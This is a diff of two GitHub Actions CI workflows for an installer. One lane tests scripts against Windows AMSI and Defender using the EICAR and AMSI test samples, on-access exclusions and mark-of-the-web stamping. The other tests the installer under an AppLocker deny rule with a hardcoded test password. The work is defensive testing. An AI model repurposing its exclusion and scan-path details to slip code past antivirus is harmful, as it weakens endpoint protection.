-# If a control does not fire, the lane reports that it could not measure and passes with a warning.
-# It never reports clean. That distinction is not theoretical: release-desktop.yml's own comments
-# record three releases that shipped unscanned while their scan step was green, because a runner
-# whose scanner is not live looks exactly like a clean verdict.
-#
-# What this lane cannot answer: anything about Skyhigh, Bitdefender or Kaspersky, which are the
-# products that have actually flagged us. No hosted runner has them, and a Defender verdict is not a
-# proxy for another vendor's. See docs/windows-installer-av-shapes.md for what each detection was.
+# Does AMSI let the installer compile, and does Defender flag its bytes? PowerShell hands
+# a script to AMSI at compile time, so `[scriptblock]::Create` measures it with no install
+# side effects. Differential against the merge base. Each half has a positive control
+# (AMSI test sample, EICAR); a silent control means "could not measure", never clean.
+# Cannot answer for other AV vendors.
name: "Windows: AMSI and Defender differential"
@@ -43,9 +22,7 @@ on:
- '.github/scripts/Probe-AmsiParse.ps1'
- '.github/workflows/windows-amsi-defender-differential-ci.yml'
schedule:
- # Definitions change daily and outside our control, so a periodic run against an unchanged tree
- # is how a new signature that starts matching us gets noticed at all. It is also why this lane
- # must not be a required check: a Microsoft definition push could otherwise block every merge.
+ # Definitions change daily, so a periodic run notices new matches. Never a required check.
- cron: '41 4 * * *'
permissions:
@@ -71,22 +48,13 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Continue'
- # BEFORE anything is written there, not before the scan. Real-time protection acts on
- # open and on write, and -DisableRemediation governs only the explicit MpCmdRun scan, so
- # a live provider could take a copy away while the layout step writes it or while the
- # AMSI step reads it. The later Get-ChildItem loops would then simply not see that file,
- # and another valid row could carry both halves to a clean verdict.
- # release-desktop.yml:1437-1444 establishes its exclusions before copying for the same
- # reason, and records that the verdict is unaffected because the explicit scan ignores
- # file exclusions.
+ # Exclude BEFORE writing: on-access protection could remove a copy mid-layout. The
+ # explicit scan ignores exclusions, so the verdict is unaffected.
$root = Join-Path $env:RUNNER_TEMP 'sides'
New-Item -ItemType Directory -Force -Path $root | Out-Null
Add-MpPreference -ExclusionPath $root -ErrorAction Continue
- # Verified, not assumed: Add-MpPreference is non-terminating here and a hosted image or
- # tamper protection can refuse it without saying so. A refusal is not fatal -- the lane
- # still measures, it just loses this protection -- but it has to be visible, because the
- # symptom of losing it is a file quietly missing from the results.
+ # Add-MpPreference can be silently refused; not fatal, but make it visible.
$pref = Get-MpPreference -ErrorAction SilentlyContinue
if ($pref -and @($pref.ExclusionPath) -contains $root) {
Write-Host "on-access exclusion in place for $root"
@@ -103,8 +71,7 @@ jobs:
$ErrorActionPreference = 'Stop'
$head = (git rev-parse HEAD).Trim()
if ($env:PR_BASE) {
- # The merge base, not the base branch tip: comparing against a tip that has moved on
- # attributes somebody else's merged change to this PR.
+ # The merge base, not the base tip.
$base = (git merge-base $env:PR_BASE $head).Trim()
} else {
$base = (git rev-parse 'HEAD~1').Trim()
@@ -125,20 +92,13 @@ jobs:
foreach ($pair in @(@($base, 'base'), @($head, 'head'))) {
$sha, $side = $pair
$dest = Join-Path (Join-Path $root $side) $leaf
- # git show, not a second checkout: it costs nothing and cannot leave the working tree
- # in a state the next step misreads.
git cat-file -e "${sha}:${f}" 2>$null
if ($LASTEXITCODE -ne 0) {
Write-Host "::notice::$f does not exist at $($sha.Substring(0,8)) ($side); skipping it on that side"
continue
}
- # The blob is copied as a byte stream, never captured as PowerShell text, and that is
- # the whole point of the lane rather than fussiness: it scans the bytes that ship.
- # Capturing `git show` into a variable decodes the output into lines and the write
- # back re-encodes them, which silently converts CRLF to LF, drops every trailing blank
- # line but one, adds a final newline where there was none, and mangles anything that
- # is not valid UTF-8. The scanner would then be judging a file this project never
- # serves, and a clean verdict on it would not transfer to the one users get.
+ # Copy the blob as bytes: capturing as PowerShell text changes line endings and encoding,
+ # so the scanned file would not be the shipped file.
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = 'git'
$psi.ArgumentList.Add('show')
@@ -165,11 +125,7 @@ jobs:
Write-Host '::error::fewer than two files were laid out, so there is nothing to compare. Refusing to report a verdict.'
exit 1
}
- # The EXPECTED set, written down. Both measurement loops used to enumerate whatever was
- # still on disk, so a copy quarantined by real-time protection before they ran simply left
- # the set: it became neither an unmeasured row nor a detection, and a surviving sibling
- # could carry the job to a clean verdict. Recording what was laid out means an absent file
- # is a measurable fact rather than a silence.
+ # Record the expected set so a quarantined file is a measurable absence.
$manifest | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $root 'manifest.json') -Encoding utf8
Write-Host "laid out $laid file copies"
"base_sha=$base" | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
@@ -186,15 +142,12 @@ jobs:
$ErrorActionPreference = 'Continue'
$script:UnslothVanished = @()
$script:UnslothUnknownExpected = @()
- # Reads the layout manifest and returns what SHOULD be there, with anything missing
- # reported rather than skipped. A quarantined copy is the case this exists for.
+ # Report missing expected files rather than skip them; a quarantined copy is the case.
function Get-UnslothExpected {
param([Parameter(Mandatory = $true)][string]$Side)
$manifestPath = Join-Path $env:ROOT 'manifest.json'
if (-not (Test-Path -LiteralPath $manifestPath)) {
- # Recorded, not only warned about. Enumerating survivors cannot notice that an expected
- # candidate is absent, so a quarantined copy left its siblings to carry the run to a
- # clean verdict. The expected set being unknown IS an unmeasured condition.
+ # An unknown expected set is itself an unmeasured condition.
Write-Host '::warning::the layout manifest is missing, so the expected set is unknown and only surviving files can be measured'
$script:UnslothUnknownExpected += $Side
return @(Get-ChildItem -LiteralPath (Join-Path $env:ROOT $Side) -Filter '*.ps1' -ErrorAction SilentlyContinue)
@@ -216,9 +169,7 @@ jobs:
$out = Join-Path $env:RUNNER_TEMP 'amsi'
New-Item -ItemType Directory -Force -Path $out | Out-Null
- # 5.1 specifically. It is what install.rs spawns (install.rs:433-440), what a clean Windows
- # box ships, and what the #10805 reporter ran. pwsh 7 is a different host with a different
- # AMSI integration, so its answer does not transfer.
+ # 5.1 specifically: what install.rs spawns and a clean Windows ships; pwsh 7 differs.
$ps51 = Join-Path $env:SystemRoot 'System32\WindowsPowerShell\v1.0\powershell.exe'
if (-not (Test-Path -LiteralPath $ps51)) {
Write-Host "::error::Windows PowerShell 5.1 is absent at $ps51; this runner cannot answer the question that matters"
@@ -231,25 +182,17 @@ jobs:
foreach ($file in (Get-UnslothExpected $side)) {
$json = Join-Path $out "$side-$($file.BaseName).json"
Write-Host "--- $side/$($file.Name)"
- # -Control on every invocation, so the control fires in the same process as the
- # measurement it vouches for. A control in a sibling process only shares a host
- # configuration, which is a weaker claim than it looks.
+ # -Control on every invocation, so the control fires in the same process it vouches for.
& $ps51 -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned `
-File $probe -Control -Path $file.FullName -OutFile $json
if (-not (Test-Path -LiteralPath $json)) {
- # Not `continue` alone: dropping the row shrinks the measured set silently, and a
- # head file that vanishes from the set leaves headBlocked at zero, which reads as
- # clean. Record it so the verdict below has to account for it.
+ # Record a missing row; dropping it would shrink the set and read as clean.
Write-Host "::warning::the probe wrote no result for $side/$($file.Name)"
$noResult += "$side/$($file.Name) [the probe wrote no result]"
continue
}
- # Parsed under -ErrorAction Stop and then checked for the shape this lane reads. The
- # step runs with $ErrorActionPreference = 'Continue', so a truncated or otherwise
- # invalid file made ConvertFrom-Json emit a non-terminating error and return nothing,
- # and the row went in with a null payload. Such a row iterates no results, so it is
- # neither a block nor an unmeasured candidate: the file simply left the measured set,
- # and any other process whose control fired then carried the job to a clean verdict.
+ # Parse strictly: under 'Continue' an invalid file gave a null row that silently left
+ # the measured set.
$parsed = $null
try {
$parsed = Get-Content -Raw -LiteralPath $json -ErrorAction Stop | ConvertFrom-Json -ErrorAction Stop
@@ -271,8 +214,6 @@ jobs:
}
}
- # A copy that was laid out and is no longer there was not measured, and saying so is the
- # whole point of tracking the expected set.
foreach ($v in $script:UnslothVanished) {
Write-Host "::warning::$v was laid out and is no longer on disk; it may have been quarantined before it could be compiled"
$noResult += "$v [the laid-out copy vanished before it was measured]"
@@ -286,11 +227,8 @@ jobs:
exit 1
}
- # The control decides whether any of this means anything, and it decides it PER ROW.
- # -Control runs in the same process as the file it vouches for, so its outcome is a
- # property of that one measurement. A job-wide flag would let a process where AMSI never
- # initialised borrow the credibility of one where it did, which is precisely how "no
- # provider was listening" turns into "nothing was detected".
+ # The control decides whether any of this means anything, PER ROW: a job-wide flag would
+ # let an uninitialised AMSI borrow credibility.
foreach ($row in $rows) {
$fired = @($row.data.results | Where-Object { $_.label -like 'control*' -and $_.blocked }).Count
$row | Add-Member -NotePropertyName controlFired -NotePropertyValue ([bool]$fired)
@@ -303,24 +241,16 @@ jobs:
foreach ($r in $row.data.results) {
if ($r.label -like 'control*') { continue }
$where = "$($row.side)/$($row.name)"
- # Order matters here, and the obvious order is wrong.
- #
- # A parse error is a property of the script, not of the scanner: the compiler rejects
- # it whether or not an AMSI provider is listening. Classifying it BEFORE the control
- # gate is therefore both valid and necessary, because gating it meant a syntax error
- # in a process whose control happened to stay silent was filed as "not measured" and
- # the run exited zero.
+ # Classify parse errors BEFORE the control gate: they do not depend on a provider.
if ($r.blocked) {
- # This one does depend on a live provider, so it is the control's to vouch for.
if ($row.controlFired) { $blocked += "$where [$($r.errorId)]" }
else { $unmeasured += "$where [reported blocked, but the control did not fire in this process]" }
continue
}
if ($r.missing) { $unmeasured += "$where [the probe could not find the file]"; continue }
if ($r.unreadable) { $unmeasured += "$where [the probe could not read the file]"; continue }
- # blocked=false with an errorId set is a compile failure, not a scanner verdict.
+ # blocked=false with an errorId is a compile failure, not a scanner verdict.
if ($r.errorId) { $didNotCompile += "$where [$($r.errorId)]"; continue }
- # Compiled cleanly, and only a live control makes that mean anything.
if (-not $row.controlFired) {
$unmeasured += "$where [the control did not fire in this process]"
}
@@ -328,25 +258,16 @@ jobs:
}
Write-Host ''
- # Derived before any verdict is chosen, so whichever exit is taken can still report what
- # the other axis saw. The compile-failure exit below used to run before these existed, and
- # a run with one unparseable script and one genuinely refused script reported only the
- # parse failure while the real detection went unmentioned.
+ # Derived before the verdict so every exit can report both axes.
$headUnmeasured = @($unmeasured | Where-Object { $_ -like 'head/*' })
$headBlocked = @($blocked | Where-Object { $_ -like 'head/*' })
$baseBlocked = @($blocked | Where-Object { $_ -like 'base/*' })
- # Ahead of the control gate below, for the same reason the per-row loop classifies parse
- # errors before it: whether a script compiles is a property of the script. With this after
- # the gate, a candidate with a syntax error on a runner where no control fired anywhere
- # was filed as "not measured" and the job exited zero, which is the case this verdict
- # exists for.
+ # Before the control gate: whether a script compiles is a property of the script.
$headDidNotCompile = @($didNotCompile | Where-Object { $_ -like 'head/*' })
if ($headDidNotCompile.Count) {
foreach ($c in $headDidNotCompile) { Write-Host "::error::the candidate did not compile: $c" }
- # Both outcomes, not just the one that decides the exit code. A refusal by a live
- # provider is the finding this lane exists to surface, and losing it because another
- # file failed to parse would hide the more important of the two.
+ # Report a live refusal even when another file failed to parse.
foreach ($b in $headBlocked) { Write-Host "::error::AMSI also refused the candidate: $b" }
Write-Host '::error::A shipped script that does not parse is a defect in its own right, and it also means AMSI never got to judge it. Not clean, and not merely unmeasured.'
"verdict=broken" | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
@@ -355,9 +276,7 @@ jobs:
$controlFired = @($rows | Where-Object { $_.controlFired }).Count -gt 0
if (-not $controlFired) {
- # Never clean. On this runner Defender is in passive mode with both drive roots excluded,
- # so this is the expected outcome more often than not, and saying "no detections" would be
- # reporting the absence of a scanner as the absence of a problem.
+ # Never clean: a silent control means no scanner, not no problem.
Write-Host '::warning::the AMSI positive control did NOT fire: Microsoft''s own test sample compiled without being refused.'
Write-Host '::warning::That means no AMSI provider is live in this process, so every input here would have come back clean whatever it contained.'
Write-Host '::warning::COULD NOT MEASURE. This is a missing scanner, not a clean verdict.'
@@ -367,9 +286,7 @@ jobs:
Write-Host 'control: the AMSI test sample was refused, so a provider is live and this process can answer.'
- # Incomplete coverage is a warning, never a reason to stop. Returning early on it meant a
- # script that a live provider genuinely REFUSED went unreported whenever some other
- # invocation happened to write no result, and the job stayed green on a real detection.
+ # Incomplete coverage warns but must not stop the run before reporting refusals.
foreach ($u in $headUnmeasured) { Write-Host "::warning::could not measure $u" }
if ($headBlocked.Count -eq 0) {
@@ -386,10 +303,7 @@ jobs:
Write-Host '::warning::Coverage was incomplete as well, so the blocks below are what was seen, not necessarily all there is.'
}
- # Causality is per SCRIPT, not per side. Comparing counts said "pre-existing" whenever the
- # base had any block at all, even a block on a different file, and said "introduced"
- # whenever it had none -- including when the corresponding base row was never validly
- # measured, where the honest answer is that we do not know.
+ # Causality is per script: compare with the same base script, unknown if it was unmeasured.
$baseState = @{}
foreach ($row in $rows | Where-Object { $_.side -eq 'base' }) {
$state = 'compiled'
@@ -429,15 +343,12 @@ jobs:
$ErrorActionPreference = 'Continue'
$script:UnslothVanished = @()
$script:UnslothUnknownExpected = @()
- # Reads the layout manifest and returns what SHOULD be there, with anything missing
- # reported rather than skipped. A quarantined copy is the case this exists for.
+ # Report missing expected files rather than skip them; a quarantined copy is the case.
function Get-UnslothExpected {
param([Parameter(Mandatory = $true)][string]$Side)
$manifestPath = Join-Path $env:ROOT 'manifest.json'
if (-not (Test-Path -LiteralPath $manifestPath)) {
- # Recorded, not only warned about. Enumerating survivors cannot notice that an expected
- # candidate is absent, so a quarantined copy left its siblings to carry the run to a
- # clean verdict. The expected set being unknown IS an unmeasured condition.
+ # An unknown expected set is itself an unmeasured condition.
Write-Host '::warning::the layout manifest is missing, so the expected set is unknown and only surviving files can be measured'
$script:UnslothUnknownExpected += $Side
return @(Get-ChildItem -LiteralPath (Join-Path $env:ROOT $Side) -Filter '*.ps1' -ErrorAction SilentlyContinue)
@@ -461,34 +372,15 @@ jobs:
exit 0
}
- # The control first, and everything after it is conditional on it. Assembled from three
- # fragments so this repository does not itself carry the EICAR signature, the same way
- # release-desktop.yml does it.
- #
- # Inside $env:ROOT, which the earlier step exempted from on-access scanning, and that is
- # deliberate. The candidates are measured ONLY through the explicit MpCmdRun scan, because
- # they are exempt from on-access too, so a control that fires by being quarantined on write
- # proves a live real-time provider and says nothing about the path the measurement uses. An
- # on-demand scanner that silently skips files would still be trusted. Put somewhere it can
- # survive, the control has to be found by the same command that reads the candidates.
- # -DisableRemediation makes that command ignore file exclusions
- # (release-desktop.yml:1295, :1440-1442), so the exemption does not weaken it.
+ # EICAR control from fragments, inside the on-access-exempt dir, so it is found by the
+ # same on-demand command that reads the candidates (-DisableRemediation ignores
+ # exclusions).
$controlDir = Join-Path $env:ROOT 'defender-control'
New-Item -ItemType Directory -Force -Path $controlDir | Out-Null
$controlFile = Join-Path $controlDir 'control.txt'
$fired = $false
- # A control only fires on something OBSERVED. The write and the scan are therefore in
- # separate try blocks, and neither catch infers a Defender block from the mere fact that
- # something threw: a permission or I/O failure under $RUNNER_TEMP, or MpCmdRun failing to
- # launch, would otherwise be reported as live real-time protection and every candidate
- # result after it trusted. An unavailable scanner reporting no hit is the exact failure
- # this control exists to catch, so it must not be able to satisfy it.
- # A benign file of the same size written the same way into the same directory, FIRST. An
- # absent EICAR file only means Defender if an identical write that Defender has no opinion
- # about succeeds; on its own, absence is equally explained by an ACL, a full disk or a
- # transient I/O error. $ErrorActionPreference is 'Continue' in this step, so a
- # non-terminating Set-Content failure does not even raise -- which is why the write is
- # checked by looking for the file rather than by whether anything threw.
+ # A control fires only on something observed. Write a benign canary of the same size
+ # first, so a missing EICAR file means Defender rather than an ACL or I/O error.
$canaryFile = Join-Path $controlDir 'canary.txt'
$canaryOk = $false
try {
@@ -510,13 +402,10 @@ jobs:
Set-Content -LiteralPath $controlFile -Encoding ascii -NoNewline -Value (
'X5O!P%@AP[4\PZX54(P^)7CC)7}' + '$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!' + '$H+H*') `
-ErrorAction Stop
- # Observed, not assumed. 'Continue' would otherwise carry a failed non-terminating write
- # straight into $wrote = $true and the absence below would read as quarantine.
+ # Check the file, not whether anything threw: 'Continue' hides write failures.
$wrote = (Test-Path -LiteralPath $controlFile)
if (-not $wrote) {
- # Real-time protection took it despite the exclusion. That says a provider is live and
- # says nothing about the on-demand command the candidates are read with, so it is NOT
- # a fired control: it is a control that could not be run.
+ # Removed on write means on-access is live, not that the on-demand path works.
Write-Host '::warning::the EICAR control was removed on write even though its directory is exempt from on-access scanning, so the on-demand scan could not be exercised and there is no positive control for the path the candidates are measured through.'
}
} catch {
@@ -528,16 +417,11 @@ jobs:
}
if ($wrote) {
try {
- # -DisableRemediation on the CONTROL too, so it is the same invocation the candidates
- # get. It is not only about remediation: release-desktop.yml records that the flag makes
- # the explicit scan ignore file exclusions (:1295, :1440-1442), and the hosted images
- # this lane describes ship with both drive roots excluded. Without it the control scan
- # of $RUNNER_TEMP can be skipped entirely, the control reads as silent, and the step
- # exits without testing candidates whose own scans would have worked.
+ # -DisableRemediation on the control too, so it is the same invocation as the candidates
+ # and the scan ignores the runner's drive-root exclusions.
$controlOut = (& $mp -Scan -ScanType 3 -File $controlFile -DisableRemediation 2>&1 | Out-String)
$controlCode = $LASTEXITCODE
- # The one thing that fires this control: the SAME command the candidates are read
- # with reported the detection.
+ # The control fires only when the same command the candidates use reports the detection.
$fired = [bool](($controlOut -match 'found\s+\d+\s+threat') -or ($controlOut -match 'EICAR'))
if (-not $fired -and -not (Test-Path -LiteralPath $controlFile)) {
Write-Host '::warning::EICAR was removed between the write and the scan, so the on-demand scan never read it and the measurement path is unproven.'
@@ -545,7 +429,6 @@ jobs:
Write-Host "::warning::the control scan completed (exit $controlCode) and named no threat, so the file scanner is not detecting EICAR on this runner."
}
} catch {
- # A launch failure is a control that did not run. Saying so is the whole point.
Write-Host "::warning::the control scan could not be run, so there is no positive control: $($_.Exception.Message)"
}
}
@@ -558,27 +441,14 @@ jobs:
}
Write-Host 'control: EICAR fired, so the file scanner is live and its verdicts mean something.'
- # EICAR proves the LOCAL engine scans, and nothing more. This lane stamps mark-of-the-web
- # on every candidate specifically so the cloud is consulted, and a
- # zero-prevalence script is judged by cloud heuristics rather than by a local signature --
- # which is the condition the #10805 reporter was under. With MAPS off or unreachable that
- # half is simply absent, and an exit-0 scan would still read as clean.
- #
- # release-desktop.yml:1290-1343 makes the same distinction and verifies MAPS separately
- # from EICAR, including MpCmdRun -ValidateMapsConnection. This lane is deliberately the
- # cheap one and does not try to REPAIR the configuration, so it checks and labels instead:
- # a Defender verdict that could not reach the cloud says so rather than claiming more.
+ # EICAR proves the LOCAL engine scans, and nothing more. Mark-of-the-web makes the scan
+ # consult the cloud, so check and label MAPS readiness instead of claiming a cloud verdict.
$cloudReady = $false
$cloudNote = 'not determined'
try {
$pref = Get-MpPreference -ErrorAction Stop
- # Reported, and deliberately NOT part of the gate. Block-at-first-sight only consults
- # the cloud on an on-access OPEN (release-desktop.yml:1301-1305), and this lane never
- # opens the copies: it exempts them from on-access scanning so a detection cannot
- # quarantine the evidence before it is measured, and reads them through an explicit
- # on-demand scan instead. What that scan needs is MAPS reporting and a reachable MAPS
- # endpoint. Gating on this preference labelled a runner whose cloud the scan CAN reach
- # as local-signatures-only, which is the opposite error from the one the gate is for.
+ # Reported, not gated: block-at-first-sight only matters for on-access opens, which this
+ # lane never does.
$bafsNote = if ($pref.DisableBlockAtFirstSeen) {
'DisableBlockAtFirstSeen=true, so nothing would act on an on-access open; this lane does not use that path'
} else { 'block-at-first-sight is on' }
@@ -607,24 +477,12 @@ jobs:
$flagged = @()
$unscanned = @()
- # Per SCRIPT and per side, so the verdict below can say whether a detection is introduced
- # by this change or already present on the merge base. Without it a signature that flags
- # the base too reads exactly like a regression, and a base-only detection -- an
- # improvement -- reads as a plain clean head. The AMSI half already works this way.
+ # Per script and side, so the verdict can say introduced vs already on the merge base.
$defState = @{}
foreach ($side in 'base', 'head') {
foreach ($file in (Get-UnslothExpected $side)) {
- # Mark of the web, so the cloud is consulted rather than treating a
- # local file as trusted. A zero-prevalence script from the Internet zone is exactly what
- # the reporter in #10805 had, and it is the condition the heuristics are harshest under.
- #
- # -Stream, and -Path rather than -LiteralPath. That is the only documented way to
- # address an alternate data stream, and it is what release-desktop.yml:1470 already
- # does. Appending ":Zone.Identifier" to -LiteralPath instead relies on the path being
- # taken "exactly as typed", and if it does not bind, -ErrorAction SilentlyContinue
- # swallows it: the mark is never applied, block-at-first-sight never consults the
- # cloud, and the run still prints "clean". A silent downgrade of the very condition
- # this step exists to create.
+ # Mark-of-the-web so the cloud is consulted. Use -Stream with -Path, the only documented
+ # way to address an ADS; a silently failed stamp would still print clean.
$stamped = $false
try {
"[ZoneTransfer]`r`nZoneId=3" |
@@ -634,22 +492,14 @@ jobs:
Write-Host "::warning::could not stamp mark-of-the-web on $($file.Name): $($_.Exception.Message)"
}
if (-not $stamped) {
- # Said out loud rather than swallowed. A scan of a MyComputer-zone file is a weaker
- # test than the one this lane claims to run, and a reader has to know which they got.
Write-Host "::warning::$side/$($file.Name) was scanned WITHOUT mark-of-the-web, so the scan did not carry the zone information that makes the cloud treat it as downloaded content. This is a weaker scan than intended."
}
- # -DisableRemediation, or a detection deletes the file and the next step reports it
- # missing rather than flagged.
+ # -DisableRemediation, or a detection deletes the file before it is reported.
$text = (& $mp -Scan -ScanType 3 -File $file.FullName -DisableRemediation 2>&1 | Out-String)
- # Captured immediately. A native command's exit code is not affected by
- # $ErrorActionPreference and $LASTEXITCODE is overwritten by the next external call,
- # so reading it later reads something else.
+ # Capture immediately: $LASTEXITCODE is overwritten by the next external call.
$code = $LASTEXITCODE
- # Read the output AND the exit code. MpCmdRun has returned 0 with a threat named in its
- # text, so the text alone is not enough; and a scan that never ran produces neither a
- # match nor an error here, so the text alone would call it clean. 0 is the only
- # documented clean code. This is the contract release-desktop.yml:1472-1489 already
- # uses, reused rather than re-derived.
+ # Read text AND exit code: MpCmdRun has returned 0 with a threat named, and 0 is the
+ # only documented clean code.
$hit = [bool]($text -match 'found\s+([1-9]\d*)\s+threat')
$state = if ($hit) { 'FLAGGED' } elseif ($code -ne 0) { "UNSCANNED (exit $code)" } else { 'clean' }
Write-Host (" {0,-8} {1,-24} {2}" -f $side, $file.Name, $state)
@@ -671,25 +521,20 @@ jobs:
foreach ($v in $script:UnslothVanished) {
Write-Host "::warning::$v was laid out and is no longer on disk; it may have been quarantined before it could be scanned"
$unscanned += "$v [the laid-out copy vanished before it was scanned]"
- # "base/install.ps1" -> keyed the same way as a scanned row, as unmeasured. A file that
- # vanished was not found clean, and leaving it out of the map made `default` below say
- # "no base row at all", which is a different and wrong explanation.
+ # A vanished file is unmeasured, not clean.
if ($v -match '^(base|head)/(.+)$') { $defState["$($Matches[1])|$($Matches[2])"] = 'unmeasured' }
}
Write-Host ''
$s = (Get-MpComputerStatus -ErrorAction SilentlyContinue)
if ($s) {
- # A verdict without the definition version is not reproducible, and a re-detection after a
- # definition bump is a different event from one on the same definitions.
+ # Record the definition version so the verdict is reproducible.
Write-Host "engine $($s.AMEngineVersion), definitions $($s.AntivirusSignatureVersion) ($($s.AntivirusSignatureLastUpdated)), AMRunningMode $($s.AMRunningMode)"
}
$headFlagged = @($flagged | Where-Object { $_ -like 'head/*' })
$headUnscanned = @($unscanned | Where-Object { $_ -like 'head/*' })
if ($headFlagged.Count -eq 0 -and $headUnscanned.Count) {
- # Not "nothing was flagged". Nothing was scanned, which is the same sentence a reader
- # would otherwise take as a clean result.
foreach ($u in $headUnscanned) { Write-Host "::warning::Defender could not scan $u" }
Write-Host '::warning::COULD NOT MEASURE on head: at least one candidate was never scanned, so there is no clean Defender verdict to report.'
exit 0
@@ -700,8 +545,7 @@ jobs:
} else {
Write-Host 'Defender: nothing on head was flagged BY LOCAL SIGNATURES. The cloud half was unavailable, so this is a weaker statement than it looks.'
}
- # A base-only detection is the result this lane is trying to produce, and reporting it as
- # a plain clean head throws away the only positive evidence the change ever gets.
+ # Report base-only detections: they are positive evidence for the change.
foreach ($key in $defState.Keys | Where-Object { $_ -like 'base|*' }) {
if ($defState[$key] -ne 'flagged') { continue }
$name = ($key -split '\|', 2)[1]
@@ -711,8 +555,7 @@ jobs:
}
exit 0
}
- # Causality is per SCRIPT, the same way the AMSI half assigns it. Reporting only the head
- # side named this change as the cause of a signature that already flags the merge base.
+ # Causality is per script, as in the AMSI half.
$introduced = 0
foreach ($f in $headFlagged) {
Write-Host "::error::Defender flagged $f"
@@ -743,17 +586,11 @@ jobs:
AMSI_VERDICT: ${{ steps.amsi.outputs.verdict }}
IDENTICAL: ${{ steps.sides.outputs.identical }}
run: |
- # Last, and always. A run whose summary is only "green" teaches the next reader that this
- # lane proves more than it does.
Write-Host '--- what this run establishes'
switch ($env:AMSI_VERDICT) {
'clean' { Write-Host ' AMSI: a live provider accepted the candidate at compile time under Windows PowerShell 5.1.' }
'blocked' { Write-Host ' AMSI: a live provider REFUSED a script. See the errors above.' }
- # Distinct from "did not complete". The probe ran and answered; the answer is that a
- # candidate does not compile, so AMSI never got to judge it and neither verdict applies.
'broken' { Write-Host ' AMSI: not measured, because a candidate did not COMPILE. That is a defect in the script, not a scanner verdict.' }
- # Several reasons reach here now, not just a dead provider: a per-row control that stayed
- # silent, a file the probe could not read or find, or an invocation that wrote no result.
'unmeasured' { Write-Host ' AMSI: not measured. Either no provider was live in the probe process, or a candidate was never actually put to one. See the warnings above.' }
default { Write-Host ' AMSI: the probe did not complete.' }
}
diff --git a/.github/workflows/windows-application-control-ci.yml b/.github/workflows/windows-application-control-ci.yml
index e47f9869fb6..edcff76e972 100644
--- a/.github/workflows/windows-application-control-ci.yml
+++ b/.github/workflows/windows-application-control-ci.yml
@@ -1,41 +1,11 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Regression leg for issue #8490: Windows Application Control blocks the
-# generated unsloth.exe console launcher, and the installer died on it at
-# "Running studio setup".
-#
-# The launcher pip generates for `[project.scripts] unsloth` is an unsigned PE
-# wrapper. AppLocker, WDAC and Smart App Control deny it. The managed python.exe
-# beside it is a copy of the signed CPython binary and still runs, so every
-# internal invocation goes through the interpreter instead.
-#
-# This job installs a local AppLocker policy that denies ONLY the generated
-# Scripts\unsloth.exe, for a purpose-made standard user, then requires the FULL
-# installer to SUCCEED under it. That inverts the maintainer's original
-# reproduction, which asserted the failure. The runner is ephemeral and the
-# policy is still removed in the final cleanup.
-#
-# What must hold under the deny rule:
-# 1. The deny rule is really enforced. A negative control runs the stub as the
-# denied user on purpose and requires Windows error 1260 plus AppLocker
-# event 8004. Enforcement cannot be inferred from the installer instead:
-# the whole point of the fix is that nothing executes the stub, so a
-# correct run produces no block event of its own, and Test-AppLockerPolicy
-# only predicts a decision, it never records one. Without this control a
-# policy that silently failed to apply would let a green installer run
-# masquerade as a fix.
-# 2. install.ps1 exits 0 (the setup handoff no longer runs the stub) and never
-# trips the block itself.
-# 3. bin\unsloth.cmd, the policy-safe PATH shim, runs the CLI.
-#
-# UNSLOTH_STUDIO_HOME is pinned to a fixed path for every step. The deny rule
-# names one absolute file, and the installer under test runs as a DIFFERENT user
-# whose profile install.ps1 would otherwise resolve on its own: without the pin
-# the job can install somewhere the rule never covered and pass having proved
-# nothing. Start-Process -Credential -LoadUserProfile gives the child the target
-# user's environment block rather than this job's, so the probe wrappers set the
-# variable themselves rather than relying on inheritance.
+# Regression leg for #8490: Windows Application Control denies the unsigned generated
+# unsloth.exe, so the installer must go through the managed python.exe instead. An
+# AppLocker policy denies ONLY that file for a standard user, and the full installer must
+# succeed. A negative control proves the rule is enforced (error 1260 + event 8004).
+# UNSLOTH_STUDIO_HOME is pinned so the rule covers the file the installer creates.
name: Windows Application Control CI
@@ -55,15 +25,9 @@ on:
- 'studio/src-tauri/src/desktop_auth.rs'
- 'studio/src-tauri/src/preflight/managed.rs'
- 'pyproject.toml'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- 'studio/prebuilt_core.py'
- # setup.sh runs this at setup.sh:5130 and setup.ps1 at setup.ps1:9025, so it is the
- # last executed edge of the installer chain that was not listed here.
- 'studio/backend/utils/**'
- 'studio/backend/requirements/**'
- 'studio/install_*.py'
@@ -106,16 +70,12 @@ jobs:
timeout-minutes: 45
env:
- # Outside any user profile, so the admin who installs and the standard
- # user who re-runs the installer resolve the same absolute paths.
+ # Outside any user profile, so admin and standard user resolve the same paths.
UNSLOTH_STUDIO_HOME: 'C:\Users\Public\issue-8490-home'
UNSLOTH_PROBE_ROOT: 'C:\Users\Public\issue-8490-application-control'
UNSLOTH_PROBE_USER: 'AppLockerProbe'
UNSLOTH_PROBE_PASSWORD: 'Us8490!Probe'
- # Not --tauri: the desktop mode refuses UNSLOTH_STUDIO_HOME, and the pinned home is
- # what makes the file the deny rule names the file the installer actually creates.
- # The blocked call site is the same in both modes, and the shell path additionally
- # exercises the PATH shim and the launch instructions this fix changed.
+ # Not --tauri: desktop mode refuses UNSLOTH_STUDIO_HOME.
UNSLOTH_SKIP_AUTOSTART: '1'
steps:
@@ -141,9 +101,6 @@ jobs:
exit 1
}
- # The exact file the deny rule will name. install.ps1 puts the venv at
- # <UNSLOTH_STUDIO_HOME>\unsloth_studio, so this is fully determined by
- # the pinned home rather than by whose profile is running.
$unslothExe = Join-Path $env:UNSLOTH_STUDIO_HOME 'unsloth_studio\Scripts\unsloth.exe'
if (-not (Test-Path -LiteralPath $unslothExe -PathType Leaf)) {
